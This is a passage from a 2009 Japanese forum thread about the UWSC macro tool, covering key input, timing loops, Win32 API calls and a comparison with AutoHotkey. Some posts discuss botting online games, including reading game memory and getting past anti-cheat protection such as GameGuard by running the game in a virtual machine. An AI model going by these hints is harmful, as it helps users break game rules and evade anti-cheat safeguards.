ENDIFと一緒にIFを使えば問題ない。
ところでENDIFっていうのはこの構造の中で特に意味を持たないよ。
だから構造の説明時には省略して差し支えない。

最初のbreakが入った文は構造に影響するけど、別にたいした影響はない。
break2とかいうのを使ったときは影響してくる。
869名無しさん@お腹いっぱい。:2009/11/13(金) 22:18:38 ID:85p2y6tD0
ルーター経由で接続されてるPC同士でUWSCを連動させたいんですがやっぱり無理ですか?
PC1で起動されているUWSCとPC2で起動されているUWSCでやりとり出来るようにしたいんです。
外部ソフトやDLLでもなんでもいいので教えてください。
870名無しさん@お腹いっぱい。:2009/11/13(金) 22:35:39 ID:wt1FvuqrP
>>869
リモートアシスタンスとかで接続するとか。
SoftEtherとか入れればローカルエリアとして通信可能になるし。

でもp2pで通信するには複雑な制御が必要になるからねえ・・・
IEみたいなCOMオブジェクトが通信してくれたらいいけど、p2pだとねえ・・・

IPMessengerみたいなやつ利用して通信かなあ。
送信はメモ帳に貼り付けと変わらん手順だし、
受信のときは待ちループするだけ。
871名無しさん@お腹いっぱい。:2009/11/13(金) 23:09:45 ID:DfpgKErgP
WEBサーバを間接的に利用するのはどう?
postされた文字列を表示する掲示板とか使えば
一方が書き込み、一方が読み込みで情報伝達は可能

ルータ越えとか意識せずuwscの標準機能だけでバカチョンで出来るよ
872名無しさん@お腹いっぱい。:2009/11/14(土) 11:02:41 ID:4vOxM3zc0
VKでアンダーバー(_)指定するやり方教えてください
873名無しさん@お腹いっぱい。:2009/11/14(土) 11:33:07 ID:OpCJso/X0
>>867-868
ありがとうございます!
874名無しさん@お腹いっぱい。:2009/11/14(土) 11:41:16 ID:npxHArPNP
>>872
WINUSER.H では10進数で226、16進数でE2
VK_OEM_102で定義されてるそうです。

でも@マークと同じで、シフトキーとともに入力しないといけないんじゃないかな。
ttp://pc5.2ch.net/test/read.cgi/tech/1059549320/78+80
875名無しさん@お腹いっぱい。:2009/11/14(土) 12:08:05 ID:/OecLJDJP
>>872
カメラのマークで記録して保存したら中に書いてあるだろ

アンダーバーの書き込み
KBD(VK_SHIFT,DOWN,40)
KBD(VK_OEM_102,CLICK,40)
KBD(VK_SHIFT,UP,40)
876名無しさん@お腹いっぱい。:2009/11/14(土) 19:11:31 ID:Ft/ieC5X0
>>871
おいおい大迷惑な手法解説してどうすんだよw

せめて自プロバイダ提供のwebサイト構築用空間に自分専用掲示板作れとかにしようよ
877名無しさん@お腹いっぱい。:2009/11/14(土) 20:31:58 ID:4vOxM3zc0
ありがとうございました
878名無しさん@お腹いっぱい。:2009/11/14(土) 21:28:18 ID:knlQgbTsO
recIEってもしかしてメニューバー使えない?
879名無しさん@お腹いっぱい。:2009/11/14(土) 22:56:51 ID:/OecLJDJP
>>878
使えない
Alt&Fとかショートカットキーも使えない
自分はそれでも便利だと思ってるけどね
880名無しさん@お腹いっぱい。:2009/11/16(月) 08:01:58 ID:rG+iRQ2cO
規制中なので携帯からで申し訳ないのですが
GETTIMEで指定した時間に処理をしたいのですが
どこかおかしく、巧く動いてくれないので、修正お願いします。
6時30分〜10時30分までの間処理をしたくて、下記の様に書いてみました。
GETTIME()
HH = G_TIME_HH
NN = G_TIME_NN
IFB HH +","+ NN > 6+","+ 30 and HH +","+ NN < 11+","+30 THEN
処理
ENDIF
881名無しさん@お腹いっぱい。:2009/11/16(月) 08:26:07 ID:MjBoUClvP
犬と月曜日はどちらが大きいのですか?
教えてください
882名無しさん@お腹いっぱい。:2009/11/16(月) 08:44:19 ID:fyKVQoggP
>>880
HH +","+ NN
6+","+ 30
HH +","+ NN
11+","+30
これらの計算結果がどうなるか確認しました?
文字列の一致、不一致ならできますが、大小比較の結果がどうなるかまでは、僕は知りません。

時間のチェックは難しいけどよく使うので僕も悩みますが、EVALで計算するのが楽じゃないかと思います。
IF EVAL("0630" + "-" + HH2 + NN2) <= 0 then 開始

あと、一日のうちの数時間しか動かさないのなら、開始時刻はランチャーで指定したほうがいいと思います。
そしたらスクリプトでは終了時刻のチェックだけで済みますよ。

ちなみに、ループでやるにしても改善したほうがいいですよ。
ループを分ければ条件をシンプルにできるし、
sleep時間を大きくしたほうがCPU使用率を下げられるので。
while true
 GetTime()
 while 0630まで
  sleep(10)
  GetTime()
 wend
 while 1130まで
  処理
  GetTime()
 wend
 while 日付変更まで
  sleep(60*60)
  GetTime()
 wend
wend
883名無しさん@お腹いっぱい。:2009/11/16(月) 09:26:28 ID:rG+iRQ2cO
>>882さん
今はGETTIMEが巧く使えないので、6時30分〜10時30分迄と指定してますが
行く行くは、10時30分〜14時30分など4時間ずつ幅を持たせ
マクロを起動した時間帯に合わせて、処理を組んで行きたいと思ってます。
884名無しさん@お腹いっぱい。:2009/11/16(月) 10:11:52 ID:fyKVQoggP
>>883
その場合時間を配列で持って逐次セットですね。
while true
 GetTime()
 START、STOP時間のセット
 while STOPまで
  処理
  GetTime()
 wend
 while STARTまで
  sleep(10)
  GetTime()
 wend
wend
885名無しさん@お腹いっぱい。:2009/11/16(月) 21:51:18 ID:MM7BRwTd0
タスクトレイにあるアイコンを終了させるには、
どのように処理すればよいのでしょうか、教えてください。
886名無しさん@お腹いっぱい。:2009/11/16(月) 23:29:28 ID:wYHJYqc+0
>>885
アイコンは終了出来ません><;
プロセス名からプロセスID取ってきて終了させればいいんじゃない?
887名無しさん@お腹いっぱい。:2009/11/17(火) 17:52:10 ID:T9e274pv0
操作したい画面がすでにバックグランドで起動してるときに
REPEAT
SLEEP(0.1)
UNTIL !IE.busy AND IE.readystate = 4
てなくてよいよね??
888名無しさん@お腹いっぱい。:2009/11/19(木) 01:16:33 ID:kjRTN5IV0
3分おきにJキー、5分おきにUキーを押すってのを繰り返す
スプリクトは組めますか?
889名無しさん@お腹いっぱい。:2009/11/19(木) 01:29:17 ID:Yyxyb70w0
組めます
890名無しさん@お腹いっぱい。:2009/11/19(木) 19:08:29 ID:r9u6rxytO
質問です
IEを使って指定Webサイトを開く→エクセルのリストを元にフォームにID・PW(仮)を入力、ログイン→パスワードの再設定フォームが出るので、
一つ目のフォームにはPW(仮)を入力、二つ目のフォームにはエクセルのリストからPW(正)を入力、設定ボタンをクリック→ブラウザを閉じる。→最初から
という作業をエクセルの行の分だけ繰り返しして行うことは可能ですか?
フォームにテキストを入力する際にエクセルから必要な情報をコピーします。
891名無しさん@お腹いっぱい。:2009/11/19(木) 20:57:24 ID:IbSwdCL+0
凄い不正行為っぽい感じがしますね^^

可能ですか?って自分でやってから来いよ。
こうこうこうしてみたけれどここが上手くいかなかった。
ここをこうする為の何か上手い方法は無いか?
とか、せめてそれくらいは。
892名無しさん@お腹いっぱい。:2009/11/19(木) 21:18:45 ID:K5RMM/XMP
やっぱりね
誰かがどういう解答出すのか見てたw
こんくらいで不正とか言うのはちょっと神経質じゃないの
自動が売りのソフトなんだからそれくらい出来ないとシェア払う気になんないぞ

>>890
できる
エクセルの自動操作は「Windowsマクロテクニック」っていう
UWSC解説本に詳しく書いてある
IEの操作はググレばすぐでてくるよ

俺はエクセルじゃなくテキストエディターでやったことある
コピる時に”何行目”とか指定できないので
全部1行に分断してやったw
100行のテキストがあればuwscとエディターで100ファイル別に作ってやったけどねw
多分エクセルの方が楽だよ
893名無しさん@お腹いっぱい。:2009/11/19(木) 22:09:48 ID:r9u6rxytO
仕事で使うのに不正扱いされるとは思わなかったwwww

>>892
お返事ありがとうございます
本買ってやってみます。
894名無しさん@お腹いっぱい。:2009/11/19(木) 22:16:28 ID:977wgY8k0
すいませんおしえてください
webの入力欄で入力モードの傍線が点滅している状態にして動作を終了したいのですが
IE.document.forms[0].elements[1]〜で〜をfocus() やclick,やelect
などとしてもうまくいきません。↑というかこれ自体なんのことかわかりません;
895894:2009/11/19(木) 22:58:08 ID:977wgY8k0
バックグランドじゃなくしたらできました
すいませんありがとうございました^^;
896名無しさん@お腹いっぱい。:2009/11/20(金) 06:01:26 ID:WyJ3vMU40
そういえばmannaβ出たての時VM上でUWSCに定期クリックさせてたけどmannaには通用しなかった(CM再生がとまる)
897名無しさん@お腹いっぱい。:2009/11/20(金) 08:18:25 ID:WoSjKQlE0
>>896
CM再生が止まったのをUWSCで |> ボタンクリック出来たけどね。イメージ検索で。
ま、めんどくさいしそれ以上やっとらんが。
898名無しさん@お腹いっぱい。:2009/11/20(金) 14:29:19 ID:rmWQwzh10
UWSCでAPIを使ってキー入力a〜zを実現するにはどう書けばいい?
UWSCのkbdやSCKEYじゃ反応しなくてさ
899名無しさん@お腹いっぱい。:2009/11/20(金) 17:09:57 ID:sBsadNsJ0
ちょっと質問させていただきます。
スクリプトでCtrlを押しながら一定時間方向キーを押下する処理を
行いたいのですが、何かいい実装方法があるのでしょうか?

sckey関数を使ってみたのですが、一定時間入力となるとうまくいかないのです。
どなたか分かる方いましたらお願いします。
900名無しさん@お腹いっぱい。:2009/11/20(金) 18:05:35 ID:q+KJ/7Ha0
>>899
KBD( 仮想KEY, [状態, ms] )
引数
  仮想KEY:  仮想KEYコード
  状態:  CLICK(0:デフォルト), DOWN(1), UP(2)
  ms: 実行までの待ち時間 (ミリセカンド)
これ使えばいいんじゃね?
KBD(VK_CTRL,DOWN)
KBD(VK_方向,DOWN)
SLEEP(一定時間)
KBD(VK_方向,UP)
KBD(VK_CTRL,UP)
とか。
試して無いから出来るかどうかは知らないけれど。
901名無しさん@お腹いっぱい。:2009/11/20(金) 20:23:15 ID:+IFzkUSc0
初歩中の初歩だな
>>900でOK
902名無しさん@お腹いっぱい。:2009/11/22(日) 20:09:35 ID:BJp3XQKW0
セキュリティのかかったページって
低レベルでないと無理なん?
903名無しさん@お腹いっぱい。:2009/11/22(日) 20:26:04 ID:BJp3XQKW0
できたわごめん
904名無しさん@お腹いっぱい。:2009/11/22(日) 20:39:02 ID:py+w/JjP0
日本語で
905名無しさん@お腹いっぱい。:2009/11/26(木) 07:11:41 ID:sv0VFJv60
何方かあるネトゲのマクロを有料代行で作って頂きたいのですがスレチかな。
906名無しさん@お腹いっぱい。:2009/11/26(木) 08:19:21 ID:jsF89W1l0
GG回避がいらないならある程度できるけど
マップ移動とかは無理
907名無しさん@お腹いっぱい。:2009/11/26(木) 08:20:51 ID:GW7QVwfc0
やったことのあるネトゲだったらつくれるかもー
908名無しさん@お腹いっぱい。:2009/11/26(木) 09:42:31 ID:rIJSt0vW0
ネトゲでカラー取得と画像取得ができないんだけど
ゲームによっては駄目なのかしら?

画面をアクティブにしても画面裏にあるものが取得されてしまう。
ちなみにゲームはメイプルストーリーです。

自動でゲームをやらすとかではなく、HPとMPを自動で補充
させるといった簡単なものです。
909名無しさん@お腹いっぱい。:2009/11/26(木) 11:01:14 ID:pLkDLqpF0
それもチートと言います
分からないなら諦めろ
910名無しさん@お腹いっぱい。:2009/11/26(木) 12:17:47 ID:jsF89W1l0
>>908
有料ペットにそういう機能を持ったのがいるだろ。

チートなしにやろうと思ったらゲームを仮想マシンで実行してスクリプトをホストで動かせばいい。
スペックが高くないなら、VMware WS5.5を使えばいいよ。
ホストのメインメモリは1GBあればなんとかなる。
911名無しさん@お腹いっぱい。:2009/11/26(木) 15:48:52 ID:yV7BPo1f0
チートの話はネトゲサロンでやれ
ってテンプレが必要かね
912名無しさん@お腹いっぱい。:2009/11/26(木) 16:18:01 ID:UufdH/9cP
>>911
いや、マクロはUWSCの範疇だろ。
913名無しさん@お腹いっぱい。:2009/11/26(木) 18:38:23 ID:yV7BPo1f0
>>908とか明らかにゲーム固有の問題(っていうかプロテクト?)だろ
検索すりゃより適した板・スレがあるんだからそっちでやってくれって話

マビノギ チートスレ
ttp://schiphol.2ch.net/test/read.cgi/mmosaloon/1238461046/
914名無しさん@お腹いっぱい。:2009/11/26(木) 19:20:29 ID:UufdH/9cP
>>913
ゲームの固有名も出てるしゲームの話だけど、
「HPとMPを自動で補充」というのはUWSCスレ的には特定ドットの色を監視してキー操作という基本動作なんだから全てに共通の話題だよ。
915名無しさん@お腹いっぱい。:2009/11/26(木) 19:35:25 ID:EIL8p+B40
ネトゲは全くやらないから判らんのだが、以前からの疑問。
ネトゲ用のボットってCOM使ってなんかやったりするのん?

単に"特定ドットの色を監視してキー操作"がメインなら
AHKの方がループ書かなくて良いし、キー認識は確実だし…
なんでUWSC使うんだべ?
916名無しさん@お腹いっぱい。:2009/11/26(木) 19:51:16 ID:yV7BPo1f0
>>915
単に知名度と使い慣れてるってだけかと
917名無しさん@お腹いっぱい。:2009/11/26(木) 21:03:06 ID:j1ZkVs3P0
オレはネトゲでUWSCよく使ってるけど、
p_memoryでHPの値拾って回復使ってる。
メイポはやったことないし、GGがあるのかどうかもしらんが。
918名無しさん@お腹いっぱい。:2009/11/26(木) 21:30:51 ID:vQceVThD0
ttp://www.gameguard.jp/nprotect/nprotect-3.asp
見てもらえれば分かるけど、メイプルはnPro使われてるんでたぶんUWSCじゃ動かない
nProとhackshield使われているソフトにはそのままのUWSCって聞かないよ
SA、warrock、SUN、トリックスターなどは受け付けてくれない

ちなみにオンゲでUWSCの操作利くのは、パンドラサーガ・夢世界・PWあたりしかしらない
919名無しさん@お腹いっぱい。:2009/11/26(木) 22:38:22 ID:jsF89W1l0
>>918
窓状態で動くゲームは操作を受け付けるよ。
920名無しさん@お腹いっぱい。:2009/11/26(木) 23:11:31 ID:vQceVThD0
>>919
だっけ?
試した限りでは動いたためしがなくって諦めてる
warrockあたりだと連続回復とか、トリックスターなら自動ドルルとか作りたいんだけどなw
921名無しさん@お腹いっぱい。:2009/11/27(金) 07:24:25 ID:VdmTC/Mk0
905です。
nPro入ってるとUWSCが動かないみたいですね。
真・三国無双Onlineのマクロを作って頂きかったのですが、諦めるしかなさそうですね。
922名無しさん@お腹いっぱい。:2009/11/27(金) 12:38:38 ID:Pay7Egn90
つーか、製作依頼スレじゃねーっつのww
923名無しさん@お腹いっぱい。:2009/11/27(金) 13:42:47 ID:S8DgtULM0
丸投げすると>>690みたいなのが来るからな
924名無しさん@お腹いっぱい。:2009/11/27(金) 18:45:59 ID:DJZ1BRJ60
丸投げ野郎のHDDが吹っ飛ぼうがどうでもいいけど、
マジで次スレから"ネトゲはプロテクトあるから無理"って書いとこうぜ
925名無しさん@お腹いっぱい。:2009/11/27(金) 18:53:25 ID:xjAPq/OP0
XPモードは表示が遅い
XPモードでゲームが動かん
USBコントローラーを認識しない
VMwareはダウンロードがめんどくさい

こんな書き込みを毎日10件くらい見かける。
そのたびにダウンロードリンクに誘導してる。

>>924
新参ってやつはそんな感じだからテンプレに書こうと書くまいとやってくる。

「ネトゲの話題を出すな」とか言うやつが情報を隠蔽する働きをするので、プロテクト関係の知識もないまま質問してくる。
だから自由に話していれば、そのうちグーぐる先生が代理で教えてくれるようになり、質問者もいなくなる。
926名無しさん@お腹いっぱい。:2009/11/27(金) 19:33:22 ID:CeVqa8aA0
自分で作る気のない香具師にマクロは向かねえ
自分にしか需要のないことや頼むにはちとアレな用途を
自分で考えて解決するのが楽しいんじゃねーか
927名無しさん@お腹いっぱい。:2009/11/27(金) 20:21:19 ID:DJZ1BRJ60
>>925
>だから自由に話していれば、そのうちグーぐる先生が代理で教えてくれるようになり、質問者もいなくなる。
不覚にもなるほどと思ってしまった

>>926
そのうちマクロ弄るのに夢中になって要らない機能つけまくるんだよね(´゚'ω゚`)
928名無しさん@お腹いっぱい。:2009/11/28(土) 05:56:35 ID:m1Tk5VUa0
ヤフーオークションの自動出品ツールを作成したいと考えています。
既に同じようなマクロがありましたら参考のためにお教えください。
機能としては以下のようなものです。

まず、タイトル、本文、出品数量、出品日(何日とか)、アフィリエイトのチェック
をあらかじめ入力していたものからコピペしたいと考えています。

まだ、今のところFirefoxのテキストボックスにコピーしたものを
張り付けるとうまくはりつかない段階ですが ^^;;;
929名無しさん@お腹いっぱい。:2009/11/28(土) 06:50:43 ID:rmVAP+p00
>>928
> 既に同じようなマクロがありましたら参考のためにお教えください。

専用ソフトがいくらでもあります。
930名無しさん@お腹いっぱい。:2009/11/28(土) 12:14:21 ID:m1Tk5VUa0
>>929
専用ソフトじゃなくてUWSCで作っているやつ希望です。
UWSCそのものを勉強したいってのもあるので。
931名無しさん@お腹いっぱい。:2009/11/28(土) 12:24:37 ID:cnmaujev0
なんの為にUWSCやってんの?アホなの?
932名無しさん@お腹いっぱい。:2009/11/28(土) 12:37:21 ID:rmVAP+p00
>>930
> 既に同じようなマクロがありましたら参考のためにお教えください。

同じようなマクロは録画機能を使えば作れます。
録画したスクリプトを、ハッシュテーブルに入れたデータ項目を参照するように書き換えれば出来上がりです。

ヤフオク出品みたいな、お金儲けに関するスクリプトは公開する人が少ないです。単に実用性がないから作らないのかもしれないけど。
933名無しさん@お腹いっぱい。:2009/11/28(土) 18:10:06 ID:kTyiFlu00
単にコピペで出品するだけなら掲示板に自動で書き込むようなマクロでも作ってみたら?
貼り付けは普通にCtrl+V使うといいと思うよ
934名無しさん@お腹いっぱい。:2009/11/28(土) 21:42:15 ID:b1XWYHX50
>>930
勉強したいなら既存の実用スクリプトなんて必要ないだろ。

自分で作って試しもしないのに人に聞くな。
935名無しさん@お腹いっぱい。:2009/11/28(土) 21:47:52 ID:zD26tnvh0
録画からだんだん成長してきました・・・
936名無しさん@お腹いっぱい。:2009/11/29(日) 08:49:24 ID:dgWxCHL10
API使える達人はいないのか。。。
937名無しさん@お腹いっぱい。:2009/11/29(日) 10:06:33 ID:nvCOxjdC0
APIとか、多少のことなら使えるけど、UWSC自体の動作が遅いほうだからAPIでぐるぐる回すのには向いてない。
もちろんUWSCの関数より直でAPI呼び出したほうが速いので軽くしたいときには使うこともあるけど・・・
938名無しさん@お腹いっぱい。:2009/11/29(日) 10:24:37 ID:7Yg8OKdw0
APIを使うために調査してる時間の分で、
HTMLを解析して情報とったり、フォーム送るスクリプト書いたほうが早く終わるんじゃねえの?
939名無しさん@お腹いっぱい。:2009/11/29(日) 14:02:10 ID:QeytHG290
>>937
>もちろんUWSCの関数より直でAPI呼び出したほうが速い

横槍でスマン。感覚的には理解できるのだけど、具体的にどの辺をAPI に置き換えてるのか教えてくれい。
940名無しさん@お腹いっぱい。:2009/11/29(日) 14:15:16 ID:nvCOxjdC0
Function GetChldID( PID, CID = 0 )
 Ifb CID Then
  Ifb PID = STATUS( CID, ST_PARENT ) Then
   result = CID
   exit
  endif
 endif

 h = GetWindow( IDToHnd(PID), GW_ENABLEDPOPUP )
 Ifb h Then
  S = Status(HndToID(h), ST_CLASS)
  Select S
   case "#32768"
    Result = 0
   case "tooltips_class32"
    Result = 0
   default
    Result = HndToID(h)
  Selend
 Else
  Result = 0
 Endif
Fend
941名無しさん@お腹いっぱい。:2009/11/29(日) 14:26:27 ID:nvCOxjdC0
>>939
たとえば子ウィンドウを検索するとき、GetIDでは全てのウィンドウを検索するし「ファイルのダウンロード」などの同名ウィンドウを処理できない。
そこで>>940みたいに、親ウィンドウハンドルを指定してその子を取得すると早い。

GetChldIDの仕様は↓の通り

def_dll GetWindow(hWnd,long):long:user32.dll
Public GW_ENABLEDPOPUP = 6 // ポップアップウィンドウ

//////////////////////////////////////////////////////
// 子ウィンドウを探す
// 戻り値:子ウィンドウのID。見つからなければ0。
// PID:親ウィンドウID
// CID:子ウィンドウIDの候補
// GW_ENABLEDPOPUPはWindows2000以降のみでサポート
//
// GetWindowによる子ウィンドウ取得を、GetChldIDに使ってみたが、
// Zオーダーで手前のウィンドウを全て取得するので選別する必要がある。
// メニュー Class:"#32768"
// ダイアログ Class:"#32770"
// ツールチップ Class:"tooltips_class32"
Function GetChldID( PID, CID = 0 )
942名無しさん@お腹いっぱい。:2009/11/29(日) 14:34:17 ID:nvCOxjdC0
他にも、ハンドルやIDを調べることができる自作アプリなどで、PostMessage()を使ったり。
ClkItemでも同じことだけどなんでAPI呼び出ししたんだか覚えてないなあ・・
微妙に動作が違ったか、裏で動かせなかったか・・CLK_BACKの使い方が解らなかったのかな?

ClkItem(TBuffID, elem[i], CLK_BTN, false) クリックするとアクティブになる
ClkItem(TBuffID, elem[i], CLK_BTN or CLK_BACK, false) 裏で実行できる

DEF_DLL PostMessageA(HWND, DWORD, DWORD, DWORD) :Long :USER32
DEF_DLL SendMessageA(HWND, DWORD, DWORD, DWORD) :Long :USER32
DEF_DLL GetDlgItem(HWND, Long) :Long :USER32
Const BM_SETCHECK = $00F1
Const BST_UNCHECKED = $0000
Const BST_CHECKED = $0001

// チェックボックスを参照し、チェックが入っていればキー送信。
// キー送信したらtrueを、それ以外はfalseを返す
Function GageWatch(i)
 Result = false
 Ifb ChkBtn( TBuffID, elem[i] ) = 1 Then
  KBD(key[i])
  //ClkItem(TBuffID, elem[i], CLK_BTN, false)
  PostMessageA( GetDlgItem(hWndTBuff,elemID[i]), BM_SETCHECK, BST_UNCHECKED, 0 )
  Result = true
 Endif
FEnd
943名無しさん@お腹いっぱい。:2009/11/29(日) 15:01:47 ID:Iei82UKK0
1.オンラインゲームでKBD(VK_Q,CLICK,40)を使うと、反応しない
2.しかしチャット欄を開いた状態だとQを押したことにはなっている。
つまりソフト側でチェックされている?

while 1
KBD(VK_Q,CLICK)
wend
3.このように連続で入力させるようにするとたまに反応することがある。

3の場合はソフト側のチェック漏れかな?
API使って出来るようになりそうならがんばってみたい
944名無しさん@お腹いっぱい。:2009/11/29(日) 15:12:23 ID:nvCOxjdC0
>>943
ゲームは直接キーボードバッファを読みに行くんじゃね?
DirectInputとかいうのもあるし。
んでチャット入力を受け付けるってことなら、そこだけWindowsアプリとして動いてるんだろ。
ゲームを自動操縦するにはハードウェアに近いところで操作する必要があるから、普通のメッセージ処理ではできない。

でも、ゲームガードを回避したらUWSCでも操縦できたっけ。
てことはセキュリティではじいてるのかな?
セキュリティ回避するのはちょっと難しいな。
945名無しさん@お腹いっぱい。:2009/11/29(日) 15:16:58 ID:Iei82UKK0
>>944
なるほど・・・自分には難しかった
このはUWSC起動すると「不正ツール(ry」って言われて落ちるけど
exe化したら一応落ちなくはなる
946名無しさん@お腹いっぱい。:2009/11/29(日) 15:32:01 ID:Iei82UKK0
windowsに搭載されてるスクリーンキーボードでも反応しなかったってことは
直接そのキーボードバッファというものを読みに行っているということなのかな

JoyToKeyっていうコントローラーのボタンにキーボードのキーを割り当てられるソフト
(例えばコントローラーのAボタンを押したらキーボードのSが押されたような動作をするように設定出来るソフト)
があって、それでなら動いているのだけれど つまりこのソフトと同じような動作をUWSCで実現できたら
ゲームにキーボードの押された情報を送ることが可能なのかな
947名無しさん@お腹いっぱい。:2009/11/29(日) 15:56:12 ID:Iei82UKK0
ネットゲームにて動かない
DirectXのアプリにてマウス操作ができない
  対応していません。

( ^ω^ )・・・
948939:2009/11/30(月) 00:25:43 ID:Xt2zr7cw0
>>940
遅くなったけど、回答ありがと。

>UWSCの関数より直でAPI呼び出したほうが速い
という内容とは微妙に違う例のような気もするけど…w
949名無しさん@お腹いっぱい。:2009/11/30(月) 16:00:50 ID:YXrN8YTJ0
>>946

UWSCはDLL呼び出せるから
JoyToKeyが使っているのと同じ命令ができるDLLを探すとか。
950名無しさん@お腹いっぱい。:2009/12/01(火) 22:27:06 ID:961VTAdp0
Pro試用版でexeファイルを作ったけど、
UWSCで開いたときに作るINIファイル名は大文字小文字そのままなんだけど
exe化スクリプトでINIファイルを作ると全部大文字になっちゃうな。


exe化を依頼しようかと思ったけど、
相手がどんなexeをよこしてくるか分からないんだよな。
これで商売してるからそういう情報交換も妨害されるだろうし・・・

いや、試用版でexe化するといちいちメッセージが出るのがな。
期限過ぎると動かなくなるようだし。

まいっか
951名無しさん@お腹いっぱい。:2009/12/01(火) 22:36:31 ID:961VTAdp0
デフォルトでexe化すると、INIファイルに変な情報が入るだけで、
自分で作ったはずのセクションが作られてなかった。

「INIファイルを作らない」オプションをつけると、ファイル名の大文字はそのまんまだったけど、
スクリプトに書いた通りのINIファイルになった。
これってexe化するときとしないときでスクリプトの内容を変えないといけなくなるわけで、苦情あってもおかしくないけどなあ・・

バージョンは4.5c1
952名無しさん@お腹いっぱい。:2009/12/02(水) 12:18:33 ID:OoqK5WGy0
バッチファイルだけの機能でもできる処理だけど、
待ちループもDOSコマンドだけでやればきっと軽いだろうと思ったけど、
localhostへのpingとかいうイレギュラーな方法だと結構CPU食うから、Sleep関数で回したほうがよかった。
pingだと1秒単位でしかSleepできないのにCPUは10%とか食っちゃってたけど、
UWSCでSleep(0.2)で回したほうは0%とか2%で済んでた。
Sleep.vbsを呼び出す方法はpingよりマシかもしれないけど、だったら最初からvbsでやったほうが早い。
でも、DOSコマンドが手軽だから、UWSCから部分的にDOSコマンド呼び出しが一番手軽で動作も軽いかも。
953名無しさん@お腹いっぱい。:2009/12/02(水) 13:04:14 ID:OoqK5WGy0
UWSC実行中に、画面が最前面になって邪魔なのって、自分で解除できるね。

thread start()
MsgBox("") // Stopformの代わり

Procedure start()
 sleep(1)
 CtrlWin( GetID("UWSC - "), NOTOPMOST )
 while true
  sleep(0.1)
 wend
Fend
954名無しさん@お腹いっぱい。:2009/12/02(水) 13:44:08 ID:pE8Gc7pe0
>>952
処理速度の速さだけでいえばAHKで組めば起動からなにからとことん速い。文法に違和感あるのが難点だけど。
955名無しさん@お腹いっぱい。:2009/12/02(水) 14:58:10 ID:OoqK5WGy0
>>954
そのAHKと、それ以外のソフトの違いってなに?
956名無しさん@お腹いっぱい。:2009/12/02(水) 15:39:24 ID:pE8Gc7pe0
UWSCとの違いで言えば、
AHKはのどかや繭のようなレベルまでいかないけど、そこそこ使えるレベルの応答速度でキーカスタマイズが出来ること。
キーカスタマイズの延長で、同じノウハウでソフトの制御も出来ること。
日本語処理に少々問題があること。
本体のサイズが小さい=300KB未満なこと。
文法が特殊であること。例えばA[0]のような形の配列が使えないとか。
PocketPcバージョンがあること。
GUIフォームが使えること。
拡張子のチェックがなくスクリプトが読み込めること。
くらいか。
UWSC同様Portable運用も出来るし、DLLも使える。Exe化も出来るし、更新も活発。
でも遅いけどUWSCのほうが楽に使えるのがいい。
日本語のわかりやすいサンプルもたくさんあるし。
957名無しさん@お腹いっぱい。:2009/12/02(水) 15:42:50 ID:pE8Gc7pe0
追記
UWSCは関数や変数に日本語を使えるのも大きい。あとで見ると判りやすさが全然違う。
958名無しさん@お腹いっぱい。:2009/12/03(木) 09:55:48 ID:GMSc80IJ0
Avast!(最新)でウィルス扱いされた。
959名無しさん@お腹いっぱい。:2009/12/03(木) 14:05:54 ID:LXuACDvD0
おれもおれも
960名無しさん@お腹いっぱい。:2009/12/03(木) 14:24:49 ID:3VjcNtKe0
MSのやつでは何の警告もないよ。Avastが変なやつ入手しただけだろ。
961名無しさん@お腹いっぱい。:2009/12/03(木) 15:39:13 ID:3VjcNtKe0
962名無しさん@お腹いっぱい。:2009/12/03(木) 16:42:01 ID:33hxVSt80
avastの誤検出、ひでえなあ
こんな変な挙動はじめてだよ。
uwsc.exeだけなく、jane2h.exeまでウイルス扱い。
963名無しさん@お腹いっぱい。:2009/12/03(木) 21:03:32 ID:iXrRufGb0
ブラウザから解凍ソフトまで恐ろしい勢いで誤検出、警告無しに隔離云々も…って聞いた
AVGとかAviraに以降する人多いッぽ
964名無しさん@お腹いっぱい。:2009/12/03(木) 21:23:22 ID:LXuACDvD0
これからはウイルス警告出たらうるせえ,!と言ってavastを切リますん。
965名無しさん@お腹いっぱい。:2009/12/03(木) 21:26:40 ID:I8S4AoB50
対応版出てるみたいよ
>最新の“091203-1”へアップデートすることで解決する模様。
http://www.forest.impress.co.jp/docs/news/20091203_333071.html
966名無しさん@お腹いっぱい。:2009/12/04(金) 03:53:13 ID:t2RzIDUy0
AHKは文法が変態じみていて、ちょっとしたものを書くのも一苦労だが、
uwscなら製品版を買わないとできないexe化がフリーでできるから人に渡したいものを作る場合AHKのほうが相手に負担をかけずに済む
uwscのソースを渡したりすると、uwscを知らない人だとやはり導入に一苦労させることになる
967名無しさん@お腹いっぱい。:2009/12/04(金) 04:36:07 ID:HevuLciX0
>>966
> 製品版を買わないとできないexe化がフリーでできる
これってバージョンいくつまで?

今の最新版だと「試用版です」って言われて、期限来ると使えなくなるよ。

> 人に渡したいものを作る場合AHKのほうが相手に負担をかけずに済む
あ、AHKならフリーでできるってことか。
でもexeって配布する人に信用がないと使ってもらえないんだよね。

ttp://it.kndb.jp/entry/show/id/1188
マルチバイト文字の扱いがめんどくさいっぽいね。
結構いいかなと思ったけど、Webページの自動化ではUWSCが手軽だ。

AutoHotkey.dll なるものがあるのか。
hsp3imp.dllの取り込みをやってみたけど、こっちもちょっとやってみるかな。
日本語部分をUWSCでやって、細かいところをAHKでやれば結構複雑なものに簡単に対応できるかも。
ただ、マルチスレッドで他アプリと連携する機能がUWSCにないのがな・・・OCX限定なんだよな。

UWSCのマルチスレッドは、DLLをそれぞれ呼び出せるから多分ほんとのマルチスレッドだけど、
AHKのは擬似マルチスレッドってことだから、スレッド分けしてそれぞれで同時に、
たとえばHSPのスクリプトを同時に実行とかはできないんだろうね。

マルチスレッドでのキー操作がかぶるのを防ぐなら、むしろAHKの方が確実にキー操作できていいかも。
968名無しさん@お腹いっぱい。:2009/12/04(金) 04:43:12 ID:HevuLciX0
AHKはGPLだけど、まあスクリプトは多分大丈夫なんだろうけど
exe化した場合はスクリプトにもGPL汚染してしまうからスクリプトは強制開示させられるだろ?
AHKを流行らせるページのFAQにその情報がないのはちょっとまずいと思うんだ。
969名無しさん@お腹いっぱい。:2009/12/04(金) 12:26:28 ID:TrGlOmpB0
>>966
拡張子チェックしないAutohotkeyやD-monkeyは違うバージョンのエンジンを使い分けるのも簡単だったりする。
拡張子.AHKLはAutohotkeyL.exeで動かすとか、拡張子.jseはCscript.exeで動かすとか。
スクリプトでエンジンのバージョンを見て、あえて古いエンジンで起動させるとか。
出先のPCのレジストリを弄らんでも(相手に弄らせないでも)、
拡張子Jsで起動させておいて、エンジンを変えて起動させたりもできる。
